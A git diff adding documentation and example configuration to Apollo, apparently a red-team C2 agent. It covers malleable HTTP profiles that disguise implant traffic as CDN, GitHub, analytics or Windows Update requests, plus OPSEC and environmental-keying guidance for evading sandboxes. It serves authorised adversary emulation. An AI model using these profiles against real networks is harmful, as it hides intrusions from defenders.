" + } + ] + } + } +} +``` + +### jQuery CDN Profile +```json +{ + "name": "jQuery CDN", + "get": { + "verb": "GET", + "uris": [ + "/jquery-3.3.0.min.js" + ], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate", + "Connection": "Keep-Alive", + "Keep-Alive": "timeout=10, max=100", + "Referer": "http://code.jquery.com/", + "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" + }, + "parameters": null, + "message": { + "location": "cookie", + "name": "__cfduid" + }, + "transforms": [ + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Cache-Control": "max-age=0, no-cache", + "Connection": "keep-alive", + "Content-Type": "application/javascript; charset=utf-8", + "Pragma": "no-cache", + "Server": "NetDNA-cache/2.2" + }, + "transforms": [ + { + "action": "xor", + "value": "randomKey" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */" + }, + { + "action": "append", + "value": "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/jquery-3.3.0.min.js" + ], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate", + "Referer": "http://code.jquery.com/", + "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "xor", + "value": "someOtherRandomKey" + } + ] + }, + "server": { + "headers": { + "Cache-Control": "max-age=0, no-cache", + "Connection": "keep-alive", + "Content-Type": "application/javascript; charset=utf-8", + "Pragma": "no-cache", + "Server": "NetDNA-cache/2.2" + }, + "transforms": [ + { + "action": "xor", + "value": "yetAnotherSomeRandomKey" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */" + }, + { + "action": "append", + "value": "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});" + } + ] + } + } +} +``` + +## Migration from HTTP Profile + +To migrate from the basic HTTP profile to httpx: + +1. **Update C2 Profile**: Change from "http" to "httpx" in your payload configuration +2. **Configure Domains**: Set callback domains instead of single callback host +3. **Add Malleable Profile**: Upload a JSON configuration file via the "Raw C2 Config" parameter +4. **Test Configuration**: Verify the profile works with your infrastructure + +## OPSEC Considerations + +- Use realistic User-Agent strings that match your target environment +- Choose URIs that blend with legitimate traffic patterns +- Implement appropriate transforms to obfuscate communication +- Consider domain rotation for redundancy and evasion +- Test profiles against network monitoring tools +- Use HTTPS endpoints when possible +- Implement proper error handling and fallback mechanisms + +## Troubleshooting + +### Common Issues + +1. **Transform Errors**: Ensure transform chains are properly configured and reversible +2. **Domain Resolution**: Verify all callback domains are accessible +3. **Profile Validation**: Check JSON syntax and required fields +4. **Header Conflicts**: Avoid conflicting or invalid HTTP headers + +### Debug Tips + +- Start with simple base64 transforms before adding complex chains +- Test profiles with small payloads first +- Use network monitoring tools to verify traffic patterns +- Check server logs for any configuration issues diff --git a/documentation-payload/apollo/c2_profiles/_index.md b/documentation-payload/apollo/c2_profiles/_index.md index 8b727128..9476d823 100644 --- a/documentation-payload/apollo/c2_profiles/_index.md +++ b/documentation-payload/apollo/c2_profiles/_index.md @@ -7,4 +7,12 @@ pre = "3. " # Available C2 Profiles +Apollo supports multiple C2 profiles for different communication methods and OPSEC requirements: + +- **HTTP**: Basic HTTP communication profile +- **HTTPX**: Advanced HTTP profile with malleable configuration +- **SMB**: Named pipe communication over SMB +- **TCP**: Direct TCP socket communication +- **WebSocket**: Real-time bidirectional WebSocket communication + {{% children %}} \ No newline at end of file diff --git a/documentation-payload/apollo/opsec/_index.md b/documentation-payload/apollo/opsec/_index.md index f52f3e8c..4eb5a5c5 100644 --- a/documentation-payload/apollo/opsec/_index.md +++ b/documentation-payload/apollo/opsec/_index.md @@ -13,6 +13,7 @@ Below are considerations about Apollo's underlying behavior that may affect deci - [Evasion](/agents/apollo/opsec/evasion/) - [Fork and Run Commands](/agents/apollo/opsec/forkandrun/) - [Injection](/agents/apollo/opsec/injection/) +- [Environmental Keying](/agents/apollo/opsec/keying/) ## Example Artifacts diff --git a/documentation-payload/apollo/opsec/keying.md b/documentation-payload/apollo/opsec/keying.md new file mode 100644 index 00000000..95d3b165 --- /dev/null +++ b/documentation-payload/apollo/opsec/keying.md @@ -0,0 +1,161 @@ ++++ +title = "Environmental Keying" +chapter = false +weight = 103 ++++ + +## Environmental Keying in Apollo + +Environmental keying is a technique that restricts agent execution to specific systems. If the keying check fails, the agent will exit immediately and silently without executing any code or attempting to connect to the C2 server. + +### Purpose + +Environmental keying helps protect against: +- Accidental execution on unintended systems +- Sandbox detonation and automated analysis + +### Keying Methods + +Apollo supports three methods of environmental keying: + +#### 1. Hostname Keying + +The agent will only execute if the machine's hostname matches the specified value. + +**Use Case:** When you know the exact hostname of your target system. + +**Example:** If you set the keying value to `WORKSTATION-01`, the agent will only run on a machine with that exact hostname. + +**Security:** Secure (hash-based) + +#### 2. Domain Keying + +The agent will only execute if the machine's domain name matches the specified value. Domain matching is forgiving and checks both the full domain and individual parts. + +**Use Case:** When targeting systems within a specific Active Directory domain. + +**Example:** If you set the keying value to `CONTOSO`, the agent will match: +- Full domain: `CONTOSO.LOCAL` +- Full domain: `CORP.CONTOSO.COM` +- Domain part: `CONTOSO` (from `CONTOSO.LOCAL`) +- Domain part: `CONTOSO` (from `CORP.CONTOSO.COM`) + +This flexibility handles cases where `Environment.UserDomainName` may return different formats (e.g., `CONTOSO` vs `CONTOSO.LOCAL`). + +**Security:** Secure (hash-based) + +#### 3. Registry Keying + +The agent will only execute if a specific registry value matches or contains the specified value. This method offers two comparison modes: + +**Matches Mode (Secure - Recommended):** +- Uses SHA256 hash comparison +- The registry value must exactly match the keying value (case-insensitive) +- Hash stored in binary, not plaintext +- More secure but requires exact match + +**Contains Mode (WEAK - Use with Caution):** +- Uses plaintext substring comparison +- The registry value must contain the keying value anywhere within it +- ⚠️ **WARNING:** Stores the keying value in **PLAINTEXT** in the binary +- ⚠️ **WARNING:** Easily extracted with strings command +- More flexible but significantly less secure + +**Example Matches Mode:** +``` +Registry Path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName +Registry Value: Windows 10 Pro +Comparison: Matches +``` +Agent executes only if the ProductName exactly matches "Windows 10 Pro" + +**Example Contains Mode (WEAK):** +``` +Registry Path: HKLM\SOFTWARE\Company\Product\InstallID +Registry Value: UniqueInstallGUID-12345 +Comparison: Contains +``` +Agent executes if InstallID contains "UniqueInstallGUID-12345" anywhere in the value + +**Registry Path Format:** +`HIVE\SubKey\Path\To\ValueName` + +Supported hives: +- `HKLM` or `HKEY_LOCAL_MACHINE` +- `HKCU` or `HKEY_CURRENT_USER` +- `HKCR` or `HKEY_CLASSES_ROOT` +- `HKU` or `HKEY_USERS` +- `HKCC` or `HKEY_CURRENT_CONFIG` + +### Configuration + +During the agent build process, you can enable keying through the build parameters: + +1. **Enable Keying** - Check this box to enable environmental keying +2. **Keying Method** - Select "Hostname", "Domain", or "Registry" +3. **For Hostname/Domain:** + - **Keying Value** - Enter the hostname or domain name to match (case-insensitive) +4. **For Registry:** + - **Registry Path** - Full path including hive, subkey, and value name + - **Registry Value** - The value to check against + - **Registry Comparison** - "Matches" (secure, hash-based) or "Contains" (WEAK, plaintext) + +### Implementation Details + +- **Hash-Based Storage (Hostname/Domain/Registry-Matches):** The keying value is never stored in plaintext in the agent binary. Instead, a SHA256 hash of the uppercase value is embedded +- **Plaintext Storage (Registry-Contains):** ⚠️ When using Registry keying with "Contains" mode, the value is stored in **plaintext** in the binary - easily extractable +- **Uppercase Normalization:** All values (except Registry-Contains mode) are converted to uppercase before hashing to ensure consistent matching regardless of case +- **Runtime Hashing:** During execution, the agent hashes the current hostname/domain/registry-value and compares it to the stored hash +- **Forgiving Domain Matching:** For domain keying, the agent checks: + 1. The full domain name (e.g., `CORP.CONTOSO.LOCAL`) + 2. Each part split by dots (e.g., `CORP`, `CONTOSO`, `LOCAL`) + +### Example Scenarios + +**Scenario 1: Targeted Workstation** +``` +Enable Keying: Yes +Keying Method: Hostname +Keying Value: FINANCE-WS-42 +``` +This agent will only execute on the machine named `FINANCE-WS-42`. + +**Scenario 2: Domain-Wide Campaign** +``` +Enable Keying: Yes +Keying Method: Domain +Keying Value: CONTOSO +``` +This agent will execute on machines where the domain contains `CONTOSO`: +- Machines in domain `CONTOSO` ✅ +- Machines in domain `CONTOSO.LOCAL` ✅ +- Machines in domain `CORP.CONTOSO.COM` ✅ +- Machines in domain `FABRIKAM.COM` ❌ + +**Scenario 3: Registry Keying (Matches - Secure)** +``` +Enable Keying: Yes +Keying Method: Registry +Registry Path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName +Registry Value: Windows 10 Enterprise +Registry Comparison: Matches +``` +This agent will only execute on systems running Windows 10 Enterprise (exact match). + +**Scenario 4: Registry Keying (Contains - WEAK)** +``` +Enable Keying: Yes +Keying Method: Registry +Registry Path: HKLM\SOFTWARE\YourCompany\CustomApp\InstallID +Registry Value: SecretMarker-ABC123 +Registry Comparison: Contains +``` +This agent will execute on systems where the registry value contains "SecretMarker-ABC123" anywhere. +⚠️ WARNING: "SecretMarker-ABC123" is stored in plaintext in the binary. + +**Scenario 5: No Keying (Default)** +``` +Enable Keying: No +``` +This agent will execute on any system (traditional behavior). + diff --git a/malleable-profile-examples/cdn-asset-delivery.json b/malleable-profile-examples/cdn-asset-delivery.json new file mode 100644 index 00000000..e1dd01ef --- /dev/null +++ b/malleable-profile-examples/cdn-asset-delivery.json @@ -0,0 +1,133 @@ +{ + "name": "CDN Asset Delivery Service", + "get": { + "verb": "GET", + "uris": [ + "/assets/bootstrap-5.3.2.min.css", + "/cdn/bootstrap/5.3.2/css/bootstrap.min.css", + "/static/libs/bootstrap/css/bootstrap.min.css" + ], + "client": { + "headers": { + "Accept": "text/css,*/*;q=0.1", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "keep-alive", + "Cache-Control": "no-cache", + "Pragma": "no-cache", + "Referer": "https://cdn.example.net/", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" + }, + "parameters": { + "v": "5.3.2", + "t": "20240415" + }, + "message": { + "location": "cookie", + "name": "__cdn_session" + }, + "transforms": [ + { + "action": "xor", + "value": "cdnAssetDelivery2024" + }, + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Cache-Control": "public, max-age=31536000, immutable", + "Connection": "keep-alive", + "Content-Type": "text/css; charset=utf-8", + "Content-Encoding": "gzip", + "ETag": "\"5.3.2-abc123\"", + "Server": "Cloudflare", + "CF-Ray": "8a1b2c3d4e5f6789-ORD" + }, + "transforms": [ + { + "action": "prepend", + "value": "/*! Bootstrap v5.3.2 | MIT License */" + }, + { + "action": "xor", + "value": "cdnResponseKey2024" + }, + { + "action": "base64url", + "value": "" + }, + { + "action": "append", + "value": "/* End Bootstrap */" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/assets/bootstrap-5.3.2.min.css", + "/cdn/bootstrap/5.3.2/css/bootstrap.min.css", + "/static/libs/bootstrap/css/bootstrap.min.css" + ], + "client": { + "headers": { + "Accept": "text/css,*/*;q=0.1", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://cdn.example.net", + "Referer": "https://cdn.example.net/", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "xor", + "value": "cdnPostDelivery2024" + }, + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Cache-Control": "no-cache, no-store, must-revalidate", + "Connection": "keep-alive", + "Content-Type": "text/css; charset=utf-8", + "Server": "Cloudflare", + "CF-Ray": "8a1b2c3d4e5f6790-ORD", + "X-Content-Type-Options": "nosniff" + }, + "transforms": [ + { + "action": "prepend", + "value": "/*! Bootstrap v5.3.2 | MIT License */" + }, + { + "action": "xor", + "value": "cdnPostResponse2024" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "append", + "value": "/* End Bootstrap */" + } + ] + } + } +} \ No newline at end of file diff --git a/malleable-profile-examples/cloud-analytics.json b/malleable-profile-examples/cloud-analytics.json new file mode 100644 index 00000000..a4387865 --- /dev/null +++ b/malleable-profile-examples/cloud-analytics.json @@ -0,0 +1,141 @@ +{ + "name": "Cloud Analytics Platform", + "get": { + "verb": "GET", + "uris": [ + "/v1/analytics/metrics/dashboard", + "/v1/reports/performance/export", + "/api/v2/events/aggregate" + ], + "client": { + "headers": { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", + "Connection": "keep-alive", + "Origin": "https://analytics.example.com", + "Referer": "https://analytics.example.com/dashboard", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest", + "X-Client-Version": "2.15.3" + }, + "parameters": { + "startDate": "2024-04-01", + "endDate": "2024-04-15", + "timezone": "UTC", + "format": "json" + }, + "message": { + "location": "query", + "name": "filter" + }, + "transforms": [ + { + "action": "xor", + "value": "analyticsQueryKey2024" + }, + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "nginx/1.24.0", + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "DENY", + "X-XSS-Protection": "1; mode=block", + "Cache-Control": "private, no-cache, no-store, must-revalidate", + "Pragma": "no-cache", + "Expires": "0" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"status\":\"success\",\"data\":" + }, + { + "action": "xor", + "value": "analyticsResponseKey2024" + }, + { + "action": "base64url", + "value": "" + }, + { + "action": "append", + "value": "}" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/v1/analytics/events/track", + "/v1/reports/generate", + "/api/v2/batch" + ], + "client": { + "headers": { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Origin": "https://analytics.example.com", + "Referer": "https://analytics.example.com/dashboard", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest", + "X-Client-Version": "2.15.3" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "xor", + "value": "trackEventSecret2024" + }, + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "nginx/1.24.0", + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "DENY", + "X-Request-Id": "req-abc123def456", + "Cache-Control": "private, no-cache, no-store, must-revalidate" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"status\":\"success\",\"message\":\"Events processed\",\"data\":" + }, + { + "action": "xor", + "value": "trackResponseSecret2024" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "append", + "value": "}" + } + ] + } + } +} + diff --git a/malleable-profile-examples/enterprise-data-management.json b/malleable-profile-examples/enterprise-data-management.json new file mode 100644 index 00000000..6583fc40 --- /dev/null +++ b/malleable-profile-examples/enterprise-data-management.json @@ -0,0 +1,133 @@ +{ + "name": "Enterprise Data Management", + "get": { + "verb": "GET", + "uris": [ + "/v3/storage/datasets/list", + "/v3/analytics/reports/export", + "/v3/inventory/assets/query" + ], + "client": { + "headers": { + "Accept": "application/json, text/xml", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "Basic dXNlcm5hbWU6cGFzc3dvcmQ=", + "Connection": "keep-alive", + "X-API-Version": "3.2", + "X-Client-ID": "enterprise-client-v2.4.1", + "User-Agent": "EnterpriseDataClient/2.4.1 (Java/17.0.2; Windows Server 2022)" + }, + "parameters": { + "limit": "50", + "offset": "0", + "sort": "desc" + }, + "message": { + "location": "header", + "name": "X-Request-ID" + }, + "transforms": [ + { + "action": "xor", + "value": "enterpriseDataKey2024" + }, + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "Apache/2.4.57", + "X-Request-ID": "req-xyz789abc123", + "X-Page-Count": "15", + "X-Total-Count": "750", + "Cache-Control": "private, max-age=300", + "Expires": "Wed, 15 Apr 2025 12:05:00 GMT" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"result\":" + }, + { + "action": "xor", + "value": "enterpriseResponseKey2024" + }, + { + "action": "base64url", + "value": "" + }, + { + "action": "append", + "value": "}" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/v3/storage/backup/create", + "/v3/logging/events/submit", + "/v3/notifications/broadcast" + ], + "client": { + "headers": { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "Basic dXNlcm5hbWU6cGFzc3dvcmQ=", + "Connection": "keep-alive", + "Content-Type": "application/json", + "X-API-Version": "3.2", + "X-Client-ID": "enterprise-client-v2.4.1", + "User-Agent": "EnterpriseDataClient/2.4.1 (Java/17.0.2; Windows Server 2022)" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "xor", + "value": "backupCreateSecret2024" + }, + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "Apache/2.4.57", + "X-Request-ID": "req-abc456def789", + "Location": "/v3/storage/backup/status/backup-xyz123", + "Cache-Control": "no-cache, no-store", + "X-Operation-ID": "op-backup-xyz123" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"status\":\"accepted\",\"operationId\":\"backup-xyz123\",\"data\":" + }, + { + "action": "xor", + "value": "backupResponseSecret2024" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "append", + "value": "}" + } + ] + } + } +} \ No newline at end of file diff --git a/malleable-profile-examples/github-api.json b/malleable-profile-examples/github-api.json new file mode 100644 index 00000000..39e4cf19 --- /dev/null +++ b/malleable-profile-examples/github-api.json @@ -0,0 +1,135 @@ +{ + "name": "GitHub API Integration", + "get": { + "verb": "GET", + "uris": [ + "/api/graphql", + "/api/v4/graphql", + "/api/v3/repos/octocat/Hello-World/commits" + ], + "client": { + "headers": { + "Accept": "application/vnd.github.v3+json", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "token ghp_16C7e42F292c6912E7710c8C0E2b8E1", + "Connection": "keep-alive", + "User-Agent": "GitHub-Hookshot/461e8be", + "X-GitHub-Event": "push", + "X-GitHub-Delivery": "f246e7f4-8fd8-11eb-bffc-f2216662c3f0" + }, + "parameters": { + "per_page": "30", + "page": "1", + "sort": "updated" + }, + "message": { + "location": "header", + "name": "X-GitHub-Request-Id" + }, + "transforms": [ + { + "action": "xor", + "value": "ghubSecret2024" + }, + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "GitHub.com", + "X-GitHub-Request-Id": "A1B2:C3D4:E5F6:1234:5678", + "X-RateLimit-Limit": "5000", + "X-RateLimit-Remaining": "4999", + "X-RateLimit-Reset": "1619999999", + "Strict-Transport-Security": "max-age=31536000; includeSubdomains" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"data\":" + }, + { + "action": "xor", + "value": "ghubResponse2024" + }, + { + "action": "base64url", + "value": "" + }, + { + "action": "append", + "value": "}" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/api/v3/repos/owner/repo/issues", + "/api/v3/repos/owner/repo/pulls", + "/api/v3/orgs/owner/teams" + ], + "client": { + "headers": { + "Accept": "application/vnd.github.v3+json", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "token ghp_16C7e42F292c6912E7710c8C0E2b8E1", + "Connection": "keep-alive", + "Content-Type": "application/json", + "User-Agent": "GitHub-Hookshot/461e8be", + "X-GitHub-Event": "issues", + "X-GitHub-Delivery": "f246e7f4-8fd8-11eb-bffc-f2216662c3f0" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "xor", + "value": "ghubPostSecret" + }, + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "GitHub.com", + "X-GitHub-Request-Id": "A1B2:C3D4:E5F6:1234:5678", + "X-RateLimit-Limit": "5000", + "X-RateLimit-Remaining": "4998", + "Location": "https://api.github.com/repos/owner/repo/issues/123", + "Strict-Transport-Security": "max-age=31536000; includeSubdomains" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"id\":12345,\"url\":\"https://api.github.com/repos/owner/repo/issues/123\",\"body\":" + }, + { + "action": "xor", + "value": "ghubServerKey" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "append", + "value": "}" + } + ] + } + } +} + diff --git a/malleable-profile-examples/windows-update-service.json b/malleable-profile-examples/windows-update-service.json new file mode 100644 index 00000000..ff07602e --- /dev/null +++ b/malleable-profile-examples/windows-update-service.json @@ -0,0 +1,133 @@ +{ + "name": "Windows Update Service", + "get": { + "verb": "GET", + "uris": [ + "/update/v6/download/package/cab", + "/update/v6/wsusscan/package.cab", + "/update/v6/content/download/package.cab" + ], + "client": { + "headers": { + "Accept": "application/vnd.microsoft.update.cab, application/octet-stream, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "Keep-Alive", + "Cache-Control": "no-cache", + "User-Agent": "Windows-Update-Agent/10.0.19041.3880 Client-Protocol/2.0" + }, + "parameters": { + "pid": "100", + "pidver": "10.0", + "bld": "19041", + "arch": "x64" + }, + "message": { + "location": "query", + "name": "rev" + }, + "transforms": [ + { + "action": "xor", + "value": "windowsUpdateKey2025" + }, + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/vnd.microsoft.update.cab", + "Server": "Microsoft-HTTPAPI/2.0", + "X-MicrosoftUpdate-Version": "10.0.19041.3880", + "Connection": "keep-alive", + "Cache-Control": "public, max-age=86400", + "X-Powered-By": "ASP.NET", + "Content-Disposition": "attachment; filename=update.cab" + }, + "transforms": [ + { + "action": "prepend", + "value": "MSCF" + }, + { + "action": "xor", + "value": "windowsUpdateResponse2025" + }, + { + "action": "base64url", + "value": "" + }, + { + "action": "append", + "value": "\u0000\u0000" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/update/v6/wsusscan/report.aspx", + "/update/v6/content/submit.aspx", + "/update/v6/telemetry/report.aspx" + ], + "client": { + "headers": { + "Accept": "text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "Keep-Alive", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "Windows-Update-Agent/10.0.19041.3880 Client-Protocol/2.0" + }, + "parameters": null, + "message": { + "location": "body", + "name": "data" + }, + "transforms": [ + { + "action": "xor", + "value": "wsusReportKey2025" + }, + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "text/html; charset=utf-8", + "Server": "Microsoft-HTTPAPI/2.0", + "X-MicrosoftUpdate-Version": "10.0.19041.3880", + "X-Powered-By": "ASP.NET", + "Connection": "keep-alive", + "Cache-Control": "no-cache, no-store, must-revalidate", + "Pragma": "no-cache", + "Expires": "0" + }, + "transforms": [ + { + "action": "prepend", + "value": "
" + }, + { + "action": "xor", + "value": "wsusResponseKey2025" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "append", + "value": "
" + } + ] + } + } +} \ No newline at end of file